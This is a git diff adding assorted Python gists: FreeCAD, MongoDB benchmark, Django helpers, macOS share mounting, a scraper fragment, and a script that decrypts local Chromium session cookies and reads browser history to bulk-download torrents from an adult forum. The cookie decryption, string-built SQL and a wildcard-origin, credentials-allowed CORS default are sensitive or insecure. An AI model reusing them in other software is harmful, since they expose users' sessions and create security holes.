+            return part.makeFillet(radius, self.filterZEdges(part.Edges, filletZ))
+        return part
+
+    def filterZEdges(self, edges, invert=False):
+        result = []
+        for e in edges:
+            if (e.Vertexes[0].Z == e.Vertexes[1].Z) == invert:
+                result.append(e)
+        return result
+
+
+
+def makeBoxEnclosure():
+    if FreeCAD.ActiveDocument is None:
+        App.newDocument()
+    a=FreeCAD.ActiveDocument.addObject("Part::FeaturePython","BoxEnclosure")
+    BoxEnclosure(a)
+    a.ViewObject.Proxy=0 # just set it to something different from None (this assignment is needed to run an internal notification)
+    FreeCAD.ActiveDocument.recompute()
+    FreeCADGui.ActiveDocument.ActiveView.fitAll()
+    return a
+
+if __name__ == "__main__":
+    makeBoxEnclosure()
diff --git a/hard-gists/13623f68e36fdad4cb67/._snippet.py b/hard-gists/13623f68e36fdad4cb67/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/13623f68e36fdad4cb67/._snippet.py differ
diff --git a/hard-gists/13623f68e36fdad4cb67/snippet.py b/hard-gists/13623f68e36fdad4cb67/snippet.py
new file mode 100644
index 00000000..7c09727e
--- /dev/null
+++ b/hard-gists/13623f68e36fdad4cb67/snippet.py
@@ -0,0 +1,209 @@
+#! /usr/bin/env python3
+# -*- coding: utf-8 -*-
+
+# Work with cookies was done by n8henrie
+# https://gist.github.com/n8henrie/8715089
+
+import sqlite3
+import urllib.parse
+import keyring
+import requests
+
+from Crypto.Cipher import AES
+from Crypto.Protocol.KDF import PBKDF2
+
+import re, os, sys
+import urllib.request
+
+from subprocess import Popen
+from shutil import copyfile
+
+# Скрипт для тех, кто не просматривает темы в поиске чего-бы скачать, я сначала скачивает, чтобы потом перебрать скачанное в поиске интересного.
+# Чтобы торренты не повторялись, можно в ветках форума кликнуть по "Опции показа" и отметить "только новые темы".
+
+#!!!!!!!!!!!
+# Для тех кто пользуется подобным методом - имейте совесть, и отдавайте скачанное до рейтинга 1x
+#!!!!!!!!!!!
+
+# Подходит только для линукса; по ссылке в самом начале автор работы с куками имеет метод для Эппл-ос.
+# Игнорирует темы которые записаны в историю хрома.
+# Останавливается когда достигнут лимит скачиваний в сутки и выдает сообщение.
+# Останавливается если истекла куки-сессия и выдает ошибку.
+# После обновления сессии на порнолабе, хрому требуется некоторое время чтобы обновить базу куков(=<1мин).
+
+# Нельзя подключиться к бд истории хрома пока он работает, поэтому копирую историю в /tmp; по этой же причине не стал насильно вживлять ссылки на скачанные торренты в базу хрома.
+# Ссылки на скачанные темы пишет в 2 файла, первый для файлов до N Гб, второй больше.
+# После скачивания открывает оба файла в хроме, если в них записаны новые темы, чтобы можно было их открыть для записи в историю хрома (плагин Linkclump для открытия N ссылок простыней).
+
+#########################
+
+# количество страниц в форумах из которых выдирать торренты, если скрипт стоит в кроне, то больше одной не понадобится
+urls_pages = 1
+
+# ссылки на форумы с которых собирать темы
+urls = """
+	http://pornolab.net/forum/viewforum.php?f=1671
+	http://pornolab.net/forum/viewforum.php?f=1726
+	http://pornolab.net/forum/viewforum.php?f=883
+	http://pornolab.net/forum/viewforum.php?f=1296
+"""
+
+# пропускать темы в которых есть слова (1 слово на строку; регистр не важен)
+block_words = """
+	240p
+	320p
+	480p
+	540p
+	Foxycombat
+	Danni.com
+"""
+
+# ссылки на торренты с размером больше N Гб будут записаны во второй файл
+# в данном случае сам торрент-файл не будет скачан
+limit_gb = 3
+
+file_w_links = os.path.expanduser('~/Downloads/pornolab_urls.htm')
+file_w_links_big = os.path.expanduser('~/Downloads/pornolab_urls_2_big.htm')
+
+########################
+
+def chrome_cookies(url):
+	
+	salt = b'saltysalt'
+	iv = b' ' * 16
+	length = 16	
+		
+	def chrome_decrypt(encrypted_value, key=None):
+		
+		# Encrypted cookies should be prefixed with 'v10' according to the 
+		# Chromium code. Strip it off.
+		encrypted_value = encrypted_value[3:]
+ 
+		# Strip padding by taking off number indicated by padding
+		# eg if last is '\x0e' then ord('\x0e') == 14, so take off 14.
+		# You'll need to change this function to use ord() for python2.
+		def clean(x):
+			return x[:-x[-1]].decode('utf8')
+ 
+		cipher = AES.new(key, AES.MODE_CBC, IV=iv)
+		decrypted = cipher.decrypt(encrypted_value)
+ 
+		return clean(decrypted)
+			
+	my_pass = 'peanuts'.encode('utf8')
+	iterations = 1
+	cookie_file = os.path.expanduser('~/.config/chromium/Default/Cookies')
+
+	# Generate key from values above
+	key = PBKDF2(my_pass, salt, length, iterations)
+	
+	# Part of the domain name that will help the sqlite3 query pick it from the Chrome cookies
+	domain = urllib.parse.urlparse(url).netloc
+ 
+	conn = sqlite3.connect(cookie_file)
+	sql = 'select name, value, encrypted_value from cookies '\
+			'where host_key like "%{}%"'.format(domain)
+ 
+	cookies = {}
+	cookies_list = []
+	
+	with conn:
+		for k, v, ev in conn.execute(sql):
+			
+			# if there is a not encrypted value or if the encrypted value
+			# doesn't start with the 'v10' prefix, return v
+			if v or (ev[:3] != b'v10'):
+				cookies_list.append((k, v))
+			else:
+				decrypted_tuple = (k, chrome_decrypt(ev, key=key))
+				cookies_list.append(decrypted_tuple)
+		cookies.update(cookies_list)
+	
+	return cookies
+
+
+cooks = chrome_cookies('http://pornolab.net/')
+try:
+	CC = 'opt_js=' + cooks['opt_js'] + '; bb_data=' + cooks['bb_data'] + '; bb_t=' + cooks['bb_t'] + ';'
+except:
+	os.system('notify-send "Pornlab" "No Cookies!"')
+	sys.exit('No Cookies! - Sign In - http://pornolab.net/')
+
+urls = [ x.strip() for x in urls.split('\n') if len(x.strip()) != 0 ]
+urls2 = []
+topics = []
+
+block_words = [ x.strip().lower() for x in block_words.split('\n') if len(x.strip()) != 0 ]
+
+for ui in urls:
+	for ppop in range(0, urls_pages*50, 50):
+		urls2.append(ui + '&start=' + str(ppop))
+
+for ui in urls2:
+	print(ui)
+	req = urllib.request.Request(ui)
+	req.add_header('Cookie', CC)
+	r = urllib.request.urlopen(req).read().decode('windows-1251')
+	
+	topics = topics + re.findall('class="torTopic bold tt-text">(.*?)</a>.*?<a href="dl\.php\?t=(.*?)" class="small f-dl dl-stub" style="text-decoration: none">(.*?)</a>', r, re.DOTALL)
+	
+if len(topics) == 0:
+	os.system('notify-send "Pornlab" "Faulty Cookies!"')
+	sys.exit('Faulty Cookies! - http://pornolab.net/')
+
+copyfile(os.path.expanduser('~/.config/chromium/Default/History'), '/tmp/chromium_History')
+conn = sqlite3.connect('/tmp/chromium_History').cursor()
+
+ff1 = 0
+ff2	= 0
+
+for tp in topics:
+	name, topic, size = tp
+	
+	# if topic name has block word
+	for bwd in block_words:
+		if bwd in name.lower():
+			print(topic + ' has block word')
+			continue
+	
+	conn.execute('SELECT count() FROM urls WHERE url="http://pornolab.net/forum/viewtopic.php?t=' + topic + '";')
+	
+	# if topic is new
+	if conn.fetchone()[0] == 0:
+		size = size.split('&nbsp;')
+		
+		if size[1] == 'GB' and float(size[0]) > limit_gb:
+			open(file_w_links_big, 'a').write('<a href="http://pornolab.net/forum/viewtopic.php?t=' + topic + '">http://pornolab.net/forum/viewtopic.php?t=' + topic + '</a> - ' + tp[2] + '<br>\n')
+			
+			ff2 += 1
+			continue
+		
+		ff1 += 1
+		print(topic)
+		
+		req = urllib.request.Request('http://pornolab.net/forum/dl.php?t=' + topic)
+		req.add_header('Cookie', CC + 'bb_dl=' + topic)
+		
+		r = urllib.request.urlopen(req).read()
+		
+		# die if limit was reached
+		try:
+			if 'Вы уже исчерпали суточный лимит скачиваний торрент-файлов' in r.decode('windows-1251'):
+				Popen('banner -f 2 limit was reached', shell=True)
+				break
+		except:
+			pass
+		
+		open(os.path.expanduser('~/Downloads/') + topic + '.torrent', 'wb').write(r)
+		
+		open(file_w_links, 'a').write('<a href="http://pornolab.net/forum/viewtopic.php?t=' + topic + '">http://pornolab.net/forum/viewtopic.php?t=' + topic + '</a> - ' + tp[2] + '<br>\n')
+	else:
+		print(topic + ' in history')
+
+Popen('banner -f 2 ' + str(ff1) + ' ' + str(ff2), shell=True)
+
+if ff1:
+	os.system('chromium ' + file_w_links)
+
+if ff2:
+	os.system('chromium ' + file_w_links_big)
diff --git a/hard-gists/1362a8908be01e23041d/._snippet.py b/hard-gists/1362a8908be01e23041d/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1362a8908be01e23041d/._snippet.py differ
diff --git a/hard-gists/1362a8908be01e23041d/snippet.py b/hard-gists/1362a8908be01e23041d/snippet.py
new file mode 100644
index 00000000..9849cea8
--- /dev/null
+++ b/hard-gists/1362a8908be01e23041d/snippet.py
@@ -0,0 +1,87 @@
+import objc, CoreFoundation, Foundation
+
+class attrdict(dict): 
+    __getattr__ = dict.__getitem__
+    __setattr__ = dict.__setitem__
+
+NetFS = attrdict()
+# Can cheat and provide 'None' for the identifier, it'll just use frameworkPath instead
+# scan_classes=False means only add the contents of this Framework
+NetFS_bundle = objc.initFrameworkWrapper('NetFS', frameworkIdentifier=None, frameworkPath=objc.pathForFramework('NetFS.framework'), globals=NetFS, scan_classes=False)
+
+# https://developer.apple.com/library/mac/documentation/Cocoa/Conceptual/ObjCRuntimeGuide/Articles/ocrtTypeEncodings.html
+# Fix NetFSMountURLSync signature
+del NetFS['NetFSMountURLSync']
+objc.loadBundleFunctions(NetFS_bundle, NetFS, [('NetFSMountURLSync', 'i@@@@@@o^@')])
+
+def mount_share(share_path):
+    # Mounts a share at /Volumes, returns the mount point or raises an error
+    sh_url = CoreFoundation.CFURLCreateWithString(None, share_path, None)
+    # Set UI to reduced interaction
+    open_options  = {NetFS.kNAUIOptionKey: NetFS.kNAUIOptionNoUI}
+    # Allow mounting sub-directories of root shares
+    mount_options = {NetFS.kNetFSAllowSubMountsKey: True}
+    # Mount!
+    result, output = NetFS.NetFSMountURLSync(sh_url, None, None, None, open_options, mount_options, None)
+    # Check if it worked
+    if result != 0:
+         raise Exception('Error mounting url "%s": %s' % (share_path, output))
+    # Return the mountpath
+    return str(output[0])
+
+def mount_share_at_path(share_path, mount_path):
+    # Mounts a share at the specified path, returns the mount point or raises an error
+    sh_url = CoreFoundation.CFURLCreateWithString(None, share_path, None)
+    mo_url = CoreFoundation.CFURLCreateWithString(None, mount_path, None)
+    # Set UI to reduced interaction
+    open_options  = {NetFS.kNAUIOptionKey: NetFS.kNAUIOptionNoUI}
+    # Allow mounting sub-directories of root shares
+    # Also specify the share should be mounted directly at (not under) mount_path
+    mount_options = {
+                     NetFS.kNetFSAllowSubMountsKey: True,
+                     NetFS.kNetFSMountAtMountDirKey: True,
+                    }
+    # Mount!
+    result, output = NetFS.NetFSMountURLSync(sh_url, mo_url, None, None, open_options, mount_options, None)
+    # Check if it worked
+    if result != 0:
+         raise Exception('Error mounting url "%s" at path "%s": %s' % (share_path, mount_path, output))
+    # Return the mountpath
+    return str(output[0])
+
+def mount_share_with_credentials(share_path, username, password):
+    # Mounts a share at /Volumes, returns the mount point or raises an error
+    # Include username and password as parameters, not in the share_path URL
+    sh_url = CoreFoundation.CFURLCreateWithString(None, share_path, None)
+    # Set UI to reduced interaction
+    open_options  = {NetFS.kNAUIOptionKey: NetFS.kNAUIOptionNoUI}
+    # Allow mounting sub-directories of root shares
+    mount_options = {NetFS.kNetFSAllowSubMountsKey: True}
+    # Mount!
+    result, output = NetFS.NetFSMountURLSync(sh_url, None, username, password, open_options, mount_options, None)
+    # Check if it worked
+    if result != 0:
+         raise Exception('Error mounting url "%s": %s' % (share_path, output))
+    # Return the mountpath
+    return str(output[0])
+
+def mount_share_at_path_with_credentials(share_path, mount_path, username, password):
+    # Mounts a share at the specified path, returns the mount point or raises an error
+    # Include username and password as parameters, not in the share_path URL
+    sh_url = CoreFoundation.CFURLCreateWithString(None, share_path, None)
+    mo_url = CoreFoundation.CFURLCreateWithString(None, mount_path, None)
+    # Set UI to reduced interaction
+    open_options  = {NetFS.kNAUIOptionKey: NetFS.kNAUIOptionNoUI}
+    # Allow mounting sub-directories of root shares
+    # Also specify the share should be mounted directly at (not under) mount_path
+    mount_options = {
+                     NetFS.kNetFSAllowSubMountsKey: True,
+                     NetFS.kNetFSMountAtMountDirKey: True,
+                    }
+    # Mount!
+    result, output = NetFS.NetFSMountURLSync(sh_url, mo_url, username, password, open_options, mount_options, None)
+    # Check if it worked
+    if result != 0:
+         raise Exception('Error mounting url "%s" at path "%s": %s' % (share_path, mount_path, output))
+    # Return the mountpath
+    return str(output[0])
diff --git a/hard-gists/1363730/._snippet.py b/hard-gists/1363730/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1363730/._snippet.py differ
diff --git a/hard-gists/1363730/snippet.py b/hard-gists/1363730/snippet.py
new file mode 100644
index 00000000..49df065b
--- /dev/null
+++ b/hard-gists/1363730/snippet.py
@@ -0,0 +1,11 @@
+from StringIO import StringIO
+from django.core.handlers.wsgi import WSGIRequest
+
+def fake_get(path='/', user=None):
+    req = WSGIRequest({
+            'REQUEST_METHOD': 'GET',
+            'PATH_INFO': path,
+            'wsgi.input': StringIO()})
+    from django.contrib.auth.models import AnonymousUser
+    req.user = AnonymousUser() if user is None else user
+    return req
diff --git a/hard-gists/1367378/._snippet.py b/hard-gists/1367378/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1367378/._snippet.py differ
diff --git a/hard-gists/1367378/snippet.py b/hard-gists/1367378/snippet.py
new file mode 100644
index 00000000..7c739a24
--- /dev/null
+++ b/hard-gists/1367378/snippet.py
@@ -0,0 +1,432 @@
+#!/usr/bin/env python 
+
+# This program is free software: you can redistribute it and/or modify
+#    it under the terms of the GNU Lesser General Public License as published by
+#    the Free Software Foundation, either version 3 of the License.
+#
+#    This program is distributed in the hope that it will be useful,
+#    but WITHOUT ANY WARRANTY; without even the implied warranty of
+#    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+#    GNU General Public License for more details.
+#
+#    You should have received a copy of the GNU Lesser General Public License
+#    along with this program.  If not, see <http://www.gnu.org/licenses/>.
+# 
+#    Author: Daniel Riegel
+
+
+import sys
+import pymongo
+import time
+import getopt
+import copy
+from pymongo import Connection
+from pymongo.database import Database
+from datetime import datetime, timedelta
+from locale import atoi
+import random
+import math
+import threading
+import logging
+
+from Queue import Queue
+
+def get_mongo_db(host):
+    connection = Connection(host,
+        port=27017)
+    db = Database(connection, "atest")
+    db.set_profiling_level(0)
+    return db
+
+def generate_uuids(num, length=6):
+    results = []	
+    for i in range(num):
+        val = random.randint(0,2**(length*8))
+        results.append("%x" % val) 
+    return results
+
+def generate_and_insert_ids(coll, doc_template, num_docs, prepad, associative, logger):
+    logger.debug("Starting uuid generation and insertion")
+    uuids = generate_uuids(num_docs)
+    
+    start = time.time()
+    for uuid in uuids:
+        doc_template["uuid"] = uuid
+        coll.insert(doc_template, None, safe=False)
+        if prepad:
+            coll.update({"uuid" : uuid} ,{ "$set" : { "logs" : [] }})
+        if associative:
+            coll.update({"uuid" : uuid} ,{ "$set" : { "logs" : {} }})
+
+    logger.debug("done inserting initial documents: %s ms\n" % ((time.time() - start) * 1000))
+    return uuids
+
+class DBUpdater(threading.Thread):
+    def __init__(self, collection_name, queue, host):
+        self.queue = queue
+        threading.Thread.__init__(self)
+        self.db = get_mongo_db(host)
+        self.coll = self.db[collection_name]
+        self.daemon = True
+        
+    def stop(self):
+        self.queue.put(None)
+        
+    def run(self): 
+        while True:
+            args = self.queue.get(True)
+            if args == None:
+                break
+#            self.coll.find(args[0])[0]  # just to warm the cache, don't think we need it
+            self.coll.update(args[0], args[1], upsert=args[2], safe=args[3])
+
+
+def run_test(num_docs = 100, 
+             list_length = 1000,
+             entry_size =  300,
+             prepad = False,
+             in_place = False,
+             safe_write = False,
+             associative = False,
+             group_sub_list = 0,
+             num_threads = 2,
+             verbose = False,
+             host = "localhost"):
+    
+    #settings / constants
+    
+    time_buckets = 15
+    outer_loop_delay_ms = 100
+    inner_loop_delay_ms = 0
+    logger = logging.Logger(__name__)
+    handler = logging.StreamHandler(sys.stdout)
+    logger.addHandler(handler)
+    if verbose:
+        logger.setLevel(logging.DEBUG)
+    else:
+        logger.setLevel(logging.INFO)
+    # locals 
+    
+    filler = "x" * entry_size
+    padding = []
+    dt = datetime.today()
+    db = get_mongo_db(host)
+
+    args = """num_docs: %d
+array_element_size: %d
+list_length: %d
+prepad: %s
+in_place: %s
+safe_write: %s
+associative: %s
+group_sub_list: %d
+num_threads: %d
+    """ % (num_docs, 
+           entry_size,
+           list_length, 
+           prepad,
+           in_place,
+           safe_write,
+           associative,
+           group_sub_list,
+           num_threads )
+
+    # argument processing
+    
+    if group_sub_list == 0:
+        group_sub_list = list_length
+    if in_place:
+        padding = map( lambda f : filler, range(list_length))
+    elif prepad:
+        padding = "x" * (list_length * entry_size)
+    elif group_sub_list < list_length:
+        padding = {}
+        for hr in range(int(math.ceil(list_length / group_sub_list))):
+            padding["%d" % hr] = {"hr" : hr, "vals": [] }
+
+    doc_template = { 
+                   "day" : dt.day, 
+                   "month" : dt.month, 
+                   "year" : dt.year,
+                   "logs" : padding,
+                   }
+
+    # loop variables
+    
+    counter = 0
+    dbwait_table = 0    
+    times = []
+    coll = db.arraytest
+    time_div = float(list_length) / time_buckets
+    start = time.time()
+    
+    # start doing something
+    
+    coll.drop() # clean it out
+    coll.ensure_index([("uuid",pymongo.ASCENDING)])
+    uuids = generate_and_insert_ids(coll, 
+                                    doc_template, 
+                                    num_docs, 
+                                    prepad, 
+                                    associative,
+                                    logger)
+        
+    oldidx = 0
+    i = 0
+    max_i = list_length * num_docs
+    update_start = time.time()
+    
+    update_queue = Queue(num_threads * 2)
+    updaters = []
+    
+    for j in range(num_threads):
+        updaters.append(DBUpdater("arraytest", update_queue, host))
+        updaters[j].start()
+        j += 1
+    
+    while counter < list_length:
+        t1 = time.time()
+    	idx = int(math.floor( i * time_buckets / max_i))
+        sublist_idx = counter / group_sub_list
+        if oldidx < idx:
+            logger.debug("\n%d of %d (%d of %d updates)" % ( idx + 1, time_buckets, i, max_i))
+            oldidx = idx
+        for uuid in uuids:
+                upsert_dict = {"$push" : { "logs" : filler }}
+                query = { "uuid" : uuid }
+                
+                if group_sub_list < list_length:
+                    query = {"uuid" : uuid }
+                    upsert_dict = {"$push" : {"logs.%d.vals" % sublist_idx : filler }}
+                if associative:
+                    upsert_dict = {"$set" : {"logs.%d" % counter : filler }}
+                if in_place:
+                    upsert_dict = {"$set" : {"logs.%d" % counter : filler }}
+                if group_sub_list == 1:
+                    # just insert, no updates
+                    doc_template["uuid"] =  uuid + "%d" % counter
+                    doc_template["logs"] = filler 
+                    coll.insert(doc_template)
+                else:
+                    update_queue.put( [query, upsert_dict, True, safe_write], True)
+                    
+                if verbose and (i % 100 == 0):
+                    sys.stdout.write(".")
+                    sys.stdout.flush()
+                i += 1 
+                time.sleep(inner_loop_delay_ms / 1000)
+                
+        insert_time = time.time() - t1
+        
+        if len(times) <= idx:
+            times.append(0)
+        times[idx] += insert_time * 1000 / time_div / num_docs
+        counter += 1
+        time.sleep(outer_loop_delay_ms / 1000)
+
+    # shut down worker threads
+    logger.debug("stopping threads...")
+    for updater_thread in updaters:
+        updater_thread.stop()
+    
+    logger.debug("joining threads...")
+    for updater_thread in updaters:    
+        updater_thread.join()
+    
+    logger.info("updates took %d ms" % ((time.time() - update_start)*1000))
+    print args
+    for i, timey in enumerate(times):
+        logger.info("%d: %f" % (i, timey))
+    
+    return times
+
+
+def expand_array(arglist):
+    i = 0
+    result = []
+    for arg in arglist:
+        if type(arg) == list:
+            results = []
+            for val in arg:
+                subarg = copy.deepcopy(arglist)
+                subarg[i] = val
+                results.extend(expand_dict(subarg))
+            return results
+        else:
+            result.append(arg)
+        i += 1         
+    return [result]
+    
+def expand_dict(target):
+    i = 0
+    result = {}
+    for key, val in target.iteritems():
+        if type(val) == list:
+            results = []
+            for subval in val:
+                # split it into one dict for each value in the array and recurse
+                target_clone = copy.deepcopy(target)
+                target_clone[key] = subval
+                results.extend(expand_dict(target_clone))
+            return results
+        else:
+            result[key] = val
+        i += 1         
+    return [result]
+
+def usage():
+    print """
+NAME
+    %s - measure mongo $push performance on arrays of a set size for a specified collection size 
+
+SYNOPSIS
+    %s: [ OPTIONS ]
+
+DESCRIPTION
+    Run a test of a mongo database with a variety of parameters.  Allows simple comparison of 
+    different parameter values.  If multiple parameters are passed in for any arguments, 
+    run multiple tests on the cross product of all possible combinations and print out a 
+    summary of the results on completion.
+     
+    -a, --associative  { y | n | yn | y,n }     default False
+        add entries as key - value pairs under the logs field instead of pushing then onto an array 
+
+    -g --group_sub_list=sub_list_size
+        place entries in multiple lists under hash keys. List length is limited to sub_list_size.
+
+    -h, --help
+        print this usage info
+        
+    -o, --host
+        mongodb host name or ip
+
+    -i, --in_place  { y | n | yn | y,n }     default False
+        create the entire document at the start, and simply $set the values in the loop
+        not compatible with -a
+
+    -l, --list_length=length      default 1000  
+        how many entries to add to the list in each document
+         
+    -n, --num_docs=num         default 100  
+        total number of independent documents to create and fill
+        
+    -p, --prepad  { y | n | yn | y,n }     default False
+        create documents with their ultimate size from the start, then immediately delete the padding 
+        
+    -s, --entry_size=size         default 300
+        the size, in bytes, of each entry in the arrays.  It is just a string of 'x' characters
+
+    -t, --num_threads=num              default 2
+        the number of threads to use to update
+    
+    -v, --verbose
+        print verbose info to console
+
+    -w, --safe_write  { y | n | yn | y,n }     default False
+        use the safe write flag (safe = True) for all updates and inserts
+        
+    """ % (__file__, __file__)
+    
+def main():
+    
+    dt = datetime.today() # - timedelta(days=5)
+
+    argv = sys.argv
+
+
+# if this fails, add this to the environment:
+#  export PYTHONPATH=$PYTHONPATH:..  (or wherever ears_tools is
+
+    try:
+        opts, args = getopt.getopt(argv[1:], "hn:l:s:p:i:w:a:g:t:o:v", ["help", 
+                                                              "num_docs=",
+                                                              "list_length=",
+                                                              "entry_size=",
+                                                              "prepad=",
+                                                              "in_place=",
+                                                              "safe_write=",
+                                                              "associative=",
+                                                              "group_sub_list=",
+                                                              "num_threads=",
+                                                              "host="
+                                                              "verbose",
+                                                              ])
+
+    except getopt.GetoptError:
+        usage()
+        sys.exit(2)
+
+    args = { "num_docs" : 100, 
+            "list_length" : 1000,
+            "entry_size" : 300,
+            "prepad" : False,
+            "in_place" : False,
+            "safe_write" : False,
+            "associative" : False,
+            "group_sub_list" : 0,
+            "num_threads" : 2,
+            "verbose" : False,
+            "host" : "localhost"
+            }
+    
+    bool_map = { "y" : True, "n" : False, "yn" : [True,False], "y,n" : [True,False] } 
+    
+    try :
+        for opt, arg in opts:
+            if opt in ("-h", "--help"):
+                #TODO write usage
+                usage()
+                sys.exit()
+            elif opt in ("-n", "--num_docs"):
+                args["num_docs"] = map( lambda x : atoi(x), arg.split(","))
+            elif opt in ("-l", "--list_length"):
+                args["list_length"] = map( lambda x : atoi(x), arg.split(","))
+            elif opt in ("-s", "--entry_size"):
+                args["entry_size"] = map( lambda x : atoi(x), arg.split(","))
+            elif opt in ("-p", "--prepad"):
+                args["prepad"] = bool_map.get(arg, "True")
+            elif opt in ("-i", "--in_place"):
+                args["in_place"] = bool_map.get(arg, "True")
+            elif opt in ("-w", "--safe_write"):
+                args["safe_write"] = bool_map.get(arg, "True")
+            elif opt in ("-a", "--associative"):
+                args["associative"] = bool_map.get(arg, "True")
+            elif opt in ("-g", "--group_sub_list"):
+                args["group_sub_list"] = map( lambda x : atoi(x), arg.split(","))
+            elif opt in ("-o", "--host"):
+                args["host"] = arg
+            elif opt in ("-t", "--num_threads"):
+                args["num_threads"] = map( lambda x : atoi(x), arg.split(","))
+            elif opt in ("-v", "--verbose"):
+                args["verbose"] = True
+            
+    except Exception:
+        usage()
+        sys.exit(2)
+
+    argsetlist = expand_dict(args)
+    print "Running %d times, with the following argument sets: " % len(argsetlist)
+    for i, argset in enumerate(argsetlist):
+        print "%d: %r" % (i,argset)
+        
+#    sys.exit(0)
+    
+    times = []
+    for argset in argsetlist:
+        print "now running %r" % argset
+        times.append(run_test(**argset))
+    
+#    print "\t".join(map(lambda x : "%r" % x,argsetlist))
+    for i, run in enumerate(argsetlist):
+        print "run #%d: %r" % (i, run)
+    print "Average time per insert operation, in ms"
+    for i, row in enumerate(zip(*times)):
+        
+        print "%d:\t%r" % (i, row)
+
+
+if __name__ == "__main__":
+    main()
+
+
+
diff --git a/hard-gists/1369619/._snippet.py b/hard-gists/1369619/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1369619/._snippet.py differ
diff --git a/hard-gists/1369619/snippet.py b/hard-gists/1369619/snippet.py
new file mode 100644
index 00000000..dff9b4f6
--- /dev/null
+++ b/hard-gists/1369619/snippet.py
@@ -0,0 +1,42 @@
+from django import http
+
+try:
+    from django.conf import settings
+    XS_SHARING_ALLOWED_ORIGINS = settings.XS_SHARING_ALLOWED_ORIGINS
+    XS_SHARING_ALLOWED_METHODS = settings.XS_SHARING_ALLOWED_METHODS
+    XS_SHARING_ALLOWED_HEADERS = settings.XS_SHARING_ALLOWED_HEADERS
+    XS_SHARING_ALLOWED_CREDENTIALS = settings.XS_SHARING_ALLOWED_CREDENTIALS
+except AttributeError:
+    XS_SHARING_ALLOWED_ORIGINS = '*'
+    XS_SHARING_ALLOWED_METHODS = ['POST', 'GET', 'OPTIONS', 'PUT', 'DELETE']
+    XS_SHARING_ALLOWED_HEADERS = ['Content-Type', '*']
+    XS_SHARING_ALLOWED_CREDENTIALS = 'true'
+
+
+class XsSharing(object):
+    """
+    This middleware allows cross-domain XHR using the html5 postMessage API.
+     
+    Access-Control-Allow-Origin: http://foo.example
+    Access-Control-Allow-Methods: POST, GET, OPTIONS, PUT, DELETE
+
+    Based off https://gist.github.com/426829
+    """
+    def process_request(self, request):
+        if 'HTTP_ACCESS_CONTROL_REQUEST_METHOD' in request.META:
+            response = http.HttpResponse()
+            response['Access-Control-Allow-Origin']  = XS_SHARING_ALLOWED_ORIGINS 
+            response['Access-Control-Allow-Methods'] = ",".join( XS_SHARING_ALLOWED_METHODS ) 
+            response['Access-Control-Allow-Headers'] = ",".join( XS_SHARING_ALLOWED_HEADERS )
+            response['Access-Control-Allow-Credentials'] = XS_SHARING_ALLOWED_CREDENTIALS
+            return response
+
+        return None
+
+    def process_response(self, request, response):
+        response['Access-Control-Allow-Origin']  = XS_SHARING_ALLOWED_ORIGINS 
+        response['Access-Control-Allow-Methods'] = ",".join( XS_SHARING_ALLOWED_METHODS )
+        response['Access-Control-Allow-Headers'] = ",".join( XS_SHARING_ALLOWED_HEADERS )
+        response['Access-Control-Allow-Credentials'] = XS_SHARING_ALLOWED_CREDENTIALS
+
+        return response
diff --git a/hard-gists/1372780/._snippet.py b/hard-gists/1372780/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1372780/._snippet.py differ
diff --git a/hard-gists/1372780/snippet.py b/hard-gists/1372780/snippet.py
new file mode 100644
index 00000000..2d91b023
--- /dev/null
+++ b/hard-gists/1372780/snippet.py
@@ -0,0 +1,36 @@
+import datetime
+import simplejson
+
+from pymongo.dbref import DBRef
+from pymongo.objectid import ObjectId
+
+
+class MongoEngineEncoder(simplejson.JSONEncoder):
+    """Handles Encoding of ObjectId's"""
+
+    def default(self, obj, **kwargs):
+
+        if isinstance(obj, datetime.datetime):
+            return obj.strftime('%Y-%m-%dT%H:%M:%S')
+        elif isinstance(obj, datetime.date):
+            return obj.strftime('%Y-%m-%d')
+        elif isinstance(obj, ObjectId):
+            return str(obj)
+        elif isinstance(obj, DBRef):
+            return {'collection': obj.collection,
+                    'id': str(obj.id),
+                    'database': obj.database}
+        return simplejson.JSONEncoder.default(obj, **kwargs)
+
+
+class MongoEngineSerializer(object):
+    """Wrapper around simplejson that strips whitespace and uses
+    MongoEngineEncoder to handle dumping datetimes / ObjectId's and DBRefs
+    """
+
+    def loads(self, payload):
+        return simplejson.loads(payload)
+
+    def dumps(self, obj, cls=None):
+        cls = cls or MongoEngineEncoder
+        return simplejson.dumps(obj.to_mongo(), separators=(',', ':'), cls=cls)
diff --git a/hard-gists/137653/._snippet.py b/hard-gists/137653/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/137653/._snippet.py differ
diff --git a/hard-gists/137653/snippet.py b/hard-gists/137653/snippet.py
new file mode 100644
index 00000000..97bf8920
--- /dev/null
+++ b/hard-gists/137653/snippet.py
@@ -0,0 +1,70 @@
+import html5lib
+from html5lib import treebuilder
+
+def parse_data(player_urls):
+# Returns a dict of player data parse trees indexed by player name
+    # Create a dict indexed by player names
+    player_data=dict.fromkeys(player_urls.keys())
+    # Download player profile data and parse using html5lib
+    for name in player_urls.keys():
+    # html5lib integrates the easy-to-use BeautifulSoup parse tree using the treebuilders library.
+    # We will use this to parse the html
+        parser=html5lib.HTMLParser(tree=treebuilders.getTreeBuilder("beautifulsoup"))
+        tree=parser.parse(urllib2.urlopen(player_urls[name]).read())
+        # The data we are looking for is contained in a <p></p> tag, so we search for these tags
+        data=tree.findAll("p")
+        # By examining one of the HTML sources, we see that the exact data we need are in this range,
+        # so we extract just what we want
+        stats=data[2:5]
+        # The data is stored in Unicode, so we must decode this before moving on.
+        # We also know, from examining the HTML that the data sequence is:
+        #   1. height
+        #   2. weight
+        #   3. dob
+        #   4. college
+        # So, we will now extract that data and place it in our storage dict
+        data_temp=[]
+        for i in stats:
+        # All important data comes after a colon, so we split on it
+            decoded=i.decode("utf-8")
+            pieces=decoded.split(':')
+            data_temp.append(pieces)
+        # Create a dict 
+        player_dict=dict.fromkeys(['height','weight','dob','college'])
+        # Once split and stored in data_temp, we use our knowledge of the HTML structure to extract the correct data.
+        # The remaining work is all string cleaning
+        # Extract height
+        height=string_cleaner_hw(data_temp[0][1])
